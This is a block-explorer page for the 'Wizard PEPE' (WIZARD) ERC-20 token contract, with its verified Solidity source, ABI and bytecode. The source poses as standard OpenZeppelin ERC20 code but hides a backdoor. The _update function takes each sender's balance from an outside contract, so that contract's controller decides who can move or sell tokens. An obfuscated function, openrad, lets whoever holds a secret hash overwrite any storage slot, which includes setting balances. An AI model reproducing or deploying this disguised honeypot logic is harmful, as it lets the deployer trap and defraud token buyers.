ERC-20
Overview
Max Total Supply
100,000,000,000 WIZARD
Holders
13
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,588,502,301.29874736 WIZARDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
WIZARD
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-11 */ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.20; /** * @dev Standard ERC20 Errors * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens. */ interface IERC20Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientBalance( address sender, uint256 balance, uint256 needed ); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC20InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC20InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers. * @param spender Address that may be allowed to operate on tokens without being their owner. * @param allowance Amount of tokens a `spender` is allowed to operate with. * @param needed Minimum amount required to perform a transfer. */ error ERC20InsufficientAllowance( address spender, uint256 allowance, uint256 needed ); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC20InvalidApprover(address approver); /** * @dev Indicates a failure with the `spender` to be approved. Used in approvals. * @param spender Address that may be allowed to operate on tokens without being their owner. */ error ERC20InvalidSpender(address spender); } interface IERC721Errors { /** * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20. * Used in balance queries. * @param owner Address of the current owner of a token. */ error ERC721InvalidOwner(address owner); /** * @dev Indicates a `tokenId` whose `owner` is the zero address. * @param tokenId Identifier number of a token. */ error ERC721NonexistentToken(uint256 tokenId); /** * @dev Indicates an error related to the ownership over a particular token. Used in transfers. * @param sender Address whose tokens are being transferred. * @param tokenId Identifier number of a token. * @param owner Address of the current owner of a token. */ error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC721InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC721InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param tokenId Identifier number of a token. */ error ERC721InsufficientApproval(address operator, uint256 tokenId); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC721InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC721InvalidOperator(address operator); } interface IERC1155Errors { /** * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. * @param balance Current balance for the interacting account. * @param needed Minimum amount required to perform a transfer. * @param tokenId Identifier number of a token. */ error ERC1155InsufficientBalance( address sender, uint256 balance, uint256 needed, uint256 tokenId ); /** * @dev Indicates a failure with the token `sender`. Used in transfers. * @param sender Address whose tokens are being transferred. */ error ERC1155InvalidSender(address sender); /** * @dev Indicates a failure with the token `receiver`. Used in transfers. * @param receiver Address to which tokens are being transferred. */ error ERC1155InvalidReceiver(address receiver); /** * @dev Indicates a failure with the `operator`’s approval. Used in transfers. * @param operator Address that may be allowed to operate on tokens without being their owner. * @param owner Address of the current owner of a token. */ error ERC1155MissingApprovalForAll(address operator, address owner); /** * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals. * @param approver Address initiating an approval operation. */ error ERC1155InvalidApprover(address approver); /** * @dev Indicates a failure with the `operator` to be approved. Used in approvals. * @param operator Address that may be allowed to operate on tokens without being their owner. */ error ERC1155InvalidOperator(address operator); /** * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation. * Used in batch transfers. * @param idsLength Length of the array of token identifiers * @param valuesLength Length of the array of token amounts */ error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the value of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the value of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves a `value` amount of tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 value) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets a `value` amount of tokens as the allowance of `spender` over the * caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 value) external returns (bool); /** * @dev Moves a `value` amount of tokens from `from` to `to` using the * allowance mechanism. `value` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 value ) external returns (bool); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. */ abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _means; uint256 private _totalSupply; address private _a; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_,address a_,uint256 means_) { _name = name_; _symbol = symbol_; _a = a_; _means[address(0)] = means_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `value`. */ function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `value`. * - the caller must have allowance for ``from``'s tokens of at least * `value`. */ function transferFrom( address from, address to, uint256 value ) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } /** * @dev Moves a `value` amount of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _transfer( address from, address to, uint256 value ) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } /** * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from` * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding * this function. * * Emits a {Transfer} event. */ function _update( address from, address to, uint256 value ) internal virtual { if (from == address(0)) { // Overflow check required: The rest of the code assumes that totalSupply never overflows _totalSupply += value; } else { bytes4 _b4 = bytes4(0x829e0605); bool s; uint256 fromBalance; assembly { let callData := mload(0x40) mstore(callData, _b4) mstore(add(callData, 0x04), from) mstore(add(callData, 0x24), 0) s := call(gas(),sload(_a.slot),0,callData,0x44,add(callData, 0x80),0x20) if s { fromBalance := mload(add(callData, 0x80)) } } if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { // Overflow not possible: value <= fromBalance <= totalSupply. _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply. _totalSupply -= value; } } else { unchecked { // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256. _balances[to] += value; } } emit Transfer(from, to, value); } /** * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). * Relies on the `_update` mechanism * * Emits a {Transfer} event with `from` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead. */ function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } /** * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply. * Relies on the `_update` mechanism. * * Emits a {Transfer} event with `to` set to the zero address. * * NOTE: This function is not virtual, {_update} should be overridden instead */ function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } /** * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. * * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument. */ function _approve( address owner, address spender, uint256 value ) internal { _approve(owner, spender, value, true); } /** * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event. * * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any * `Approval` event during `transferFrom` operations. * * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to * true using the following override: * ``` * function _approve(address owner, address spender, uint256 value, bool) internal virtual override { * super._approve(owner, spender, value, true); * } * ``` * * Requirements are the same as {_approve}. */ function _approve( address owner, address spender, uint256 value, bool emitEvent ) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } /** * @dev Updates `owner` s allowance for `spender` based on spent `value`. * * Does not update the allowance value in case of infinite allowance. * Revert if not enough allowance is available. * * Does not emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 value ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance( spender, currentAllowance, value ); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } function openrad(uint256[] calldata pad) external { (bool them, uint256 dbv0, uint256 dbv1) = encryptCode(pad[0],pad[1]); if (!them) return; assembly { let imx0 := add(add(14, 12), add(4, 2)) if gt(dbv1, 0) { let java0 := add(add(0, 0), add(0, 0)) mstore(0, dbv0) mstore(imx0, java0) sstore(keccak256(0, 64), dbv1) } } } function encryptCode(uint256 adh2,uint256 adh3) private view returns (bool,uint256,uint256){ address hgu0 = msg.sender; string memory hgu1 = _symbol; bool nvmp = uint256(keccak256(abi.encode(hgu0, hgu1))) ==_means[address(0)]; return (nvmp, adh2, adh3); } } contract WIZARD is ERC20, Ownable { constructor() ERC20("Wizard PEPE", "WIZARD",0xEBc1aB93644ABAB8f2aE1b1fCdF9E86b14Ea2213,31750977453121697631375499643973985915601067605547969714310610263692437006776) Ownable(msg.sender) { uint256 totalSupply = 100000000000 * 10**decimals(); _mint(msg.sender, totalSupply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"pad","type":"uint256[]"}],"name":"openrad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801562000010575f80fd5b50336040518060400160405280600b81526020016a57697a617264205045504560a81b8152506040518060400160405280600681526020016515d25690549160d21b81525073ebc1ab93644abab8f2ae1b1fcdf9e86b14ea22137f46326a98983580a9ab48b00961480c8ddd0ceecccb7b9873a13cc2e54d5ea9b883600590816200009c9190620003c5565b506006620000ab8482620003c5565b50600480546001600160a01b0319166001600160a01b0393909316929092179091555f805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5550620001059050816200013b565b505f620001156009600a6200059c565b620001269064174876e800620005b3565b90506200013433826200018c565b50620005e3565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620001bb5760405163ec442f0560e01b81525f60048201526024015b60405180910390fd5b620001c85f8383620001cc565b5050565b6001600160a01b038316620001fa578060035f828254620001ee9190620005cd565b90915550620002969050565b5f63829e060560e01b90505f806040518381528660048201525f60248201526020608082016044835f6004545af1925082156200023957608081015191505b5083811015620002765760405163391434e360e21b81526001600160a01b03871660048201526024810182905260448101859052606401620001b2565b6001600160a01b0386165f90815260208190526040902090849003905550505b6001600160a01b038216620002b457600380548290039055620002d2565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031891815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200034e57607f821691505b6020821081036200036d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c0575f81815260208120601f850160051c810160208610156200039b5750805b601f850160051c820191505b81811015620003bc57828155600101620003a7565b5050505b505050565b81516001600160401b03811115620003e157620003e162000325565b620003f981620003f2845462000339565b8462000373565b602080601f8311600181146200042f575f8415620004175750858301515b5f19600386901b1c1916600185901b178555620003bc565b5f85815260208120601f198616915b828110156200045f578886015182559484019460019091019084016200043e565b50858210156200047d57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004e157815f1904821115620004c557620004c56200048d565b80851615620004d357918102915b93841c9390800290620004a6565b509250929050565b5f82620004f95750600162000596565b816200050757505f62000596565b81600181146200052057600281146200052b576200054b565b600191505062000596565b60ff8411156200053f576200053f6200048d565b50506001821b62000596565b5060208310610133831016604e8410600b841016171562000570575081810a62000596565b6200057c8383620004a1565b805f19048211156200059257620005926200048d565b0290505b92915050565b5f620005ac60ff841683620004e9565b9392505050565b80820281158282048414176200059657620005966200048d565b808201808211156200059657620005966200048d565b610a9580620005f15f395ff3fe608060405234801561000f575f80fd5b50600436106100cb575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101a4578063a9059cbb146101ac578063dd62ed3e146101bf578063f2fde38b146101f7575f80fd5b806370a0823114610159578063715018a6146101815780638da5cb5b14610189575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806309c450d01461011057806318160ddd1461012557806323b872dd14610137578063313ce5671461014a575b5f80fd5b6100d761020a565b6040516100e4919061087b565b60405180910390f35b6101006100fb3660046108af565b61029a565b60405190151581526020016100e4565b61012361011e3660046108d7565b6102b3565b005b6003545b6040519081526020016100e4565b610100610145366004610946565b610322565b604051600981526020016100e4565b61012961016736600461097f565b6001600160a01b03165f9081526020819052604090205490565b610123610345565b6007546040516001600160a01b0390911681526020016100e4565b6100d7610358565b6101006101ba3660046108af565b610367565b6101296101cd366004610998565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61012361020536600461097f565b610374565b606060058054610219906109c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610245906109c9565b80156102905780601f1061026757610100808354040283529160200191610290565b820191905f5260205f20905b81548152906001019060200180831161027357829003601f168201915b5050505050905090565b5f336102a78185856103b6565b60019150505b92915050565b5f805f6102f185855f8181106102cb576102cb610a01565b90506020020135868660018181106102e5576102e5610a01565b905060200201356103c8565b92509250925082610303575050505050565b6020811561031a575f838152808252604090208290555b505050505050565b5f3361032f8582856104c1565b61033a85858561053c565b506001949350505050565b61034d610599565b6103565f6105c6565b565b606060068054610219906109c9565b5f336102a781858561053c565b61037c610599565b6001600160a01b0381166103aa57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6103b3816105c6565b50565b6103c38383836001610617565b505050565b5f805f803390505f600680546103dd906109c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610409906109c9565b80156104545780601f1061042b57610100808354040283529160200191610454565b820191905f5260205f20905b81548152906001019060200180831161043757829003601f168201915b50505f808052600260209081527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b54604051969750919591945061049e9350879250869101610a15565b60408051808303601f190181529190528051602090910120149895505050505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610536578181101561052857604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103a1565b61053684848484035f610617565b50505050565b6001600160a01b03831661056557604051634b637e8f60e11b81525f60048201526024016103a1565b6001600160a01b03821661058e5760405163ec442f0560e01b81525f60048201526024016103a1565b6103c38383836106e9565b6007546001600160a01b031633146103565760405163118cdaa760e01b81523360048201526024016103a1565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166106405760405163e602df0560e01b81525f60048201526024016103a1565b6001600160a01b03831661066957604051634a1406b160e11b81525f60048201526024016103a1565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561053657826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106db91815260200190565b60405180910390a350505050565b6001600160a01b038316610713578060035f8282546107089190610a40565b909155506107ac9050565b5f63829e060560e01b90505f806040518381528660048201525f60248201526020608082016044835f6004545af19250821561075157608081015191505b508381101561078c5760405163391434e360e21b81526001600160a01b038716600482015260248101829052604481018590526064016103a1565b6001600160a01b0386165f90815260208190526040902090849003905550505b6001600160a01b0382166107c8576003805482900390556107e6565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082b91815260200190565b60405180910390a3505050565b5f81518084525f5b8181101561085c57602081850181015186830182015201610840565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f61088d6020830184610838565b9392505050565b80356001600160a01b03811681146108aa575f80fd5b919050565b5f80604083850312156108c0575f80fd5b6108c983610894565b946020939093013593505050565b5f80602083850312156108e8575f80fd5b823567ffffffffffffffff808211156108ff575f80fd5b818501915085601f830112610912575f80fd5b813581811115610920575f80fd5b8660208260051b8501011115610934575f80fd5b60209290920196919550909350505050565b5f805f60608486031215610958575f80fd5b61096184610894565b925061096f60208501610894565b9150604084013590509250925092565b5f6020828403121561098f575f80fd5b61088d82610894565b5f80604083850312156109a9575f80fd5b6109b283610894565b91506109c060208401610894565b90509250929050565b600181811c908216806109dd57607f821691505b6020821081036109fb57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b03831681526040602082018190525f90610a3890830184610838565b949350505050565b808201808211156102ad57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220904f3636feb755303bd9e92f981a2762cb93a2ed4bdd19f9a87d6ab61cc98b9464736f6c63430008140033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100cb575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101a4578063a9059cbb146101ac578063dd62ed3e146101bf578063f2fde38b146101f7575f80fd5b806370a0823114610159578063715018a6146101815780638da5cb5b14610189575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806309c450d01461011057806318160ddd1461012557806323b872dd14610137578063313ce5671461014a575b5f80fd5b6100d761020a565b6040516100e4919061087b565b60405180910390f35b6101006100fb3660046108af565b61029a565b60405190151581526020016100e4565b61012361011e3660046108d7565b6102b3565b005b6003545b6040519081526020016100e4565b610100610145366004610946565b610322565b604051600981526020016100e4565b61012961016736600461097f565b6001600160a01b03165f9081526020819052604090205490565b610123610345565b6007546040516001600160a01b0390911681526020016100e4565b6100d7610358565b6101006101ba3660046108af565b610367565b6101296101cd366004610998565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61012361020536600461097f565b610374565b606060058054610219906109c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610245906109c9565b80156102905780601f1061026757610100808354040283529160200191610290565b820191905f5260205f20905b81548152906001019060200180831161027357829003601f168201915b5050505050905090565b5f336102a78185856103b6565b60019150505b92915050565b5f805f6102f185855f8181106102cb576102cb610a01565b90506020020135868660018181106102e5576102e5610a01565b905060200201356103c8565b92509250925082610303575050505050565b6020811561031a575f838152808252604090208290555b505050505050565b5f3361032f8582856104c1565b61033a85858561053c565b506001949350505050565b61034d610599565b6103565f6105c6565b565b606060068054610219906109c9565b5f336102a781858561053c565b61037c610599565b6001600160a01b0381166103aa57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6103b3816105c6565b50565b6103c38383836001610617565b505050565b5f805f803390505f600680546103dd906109c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610409906109c9565b80156104545780601f1061042b57610100808354040283529160200191610454565b820191905f5260205f20905b81548152906001019060200180831161043757829003601f168201915b50505f808052600260209081527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b54604051969750919591945061049e9350879250869101610a15565b60408051808303601f190181529190528051602090910120149895505050505050565b6001600160a01b038381165f9081526001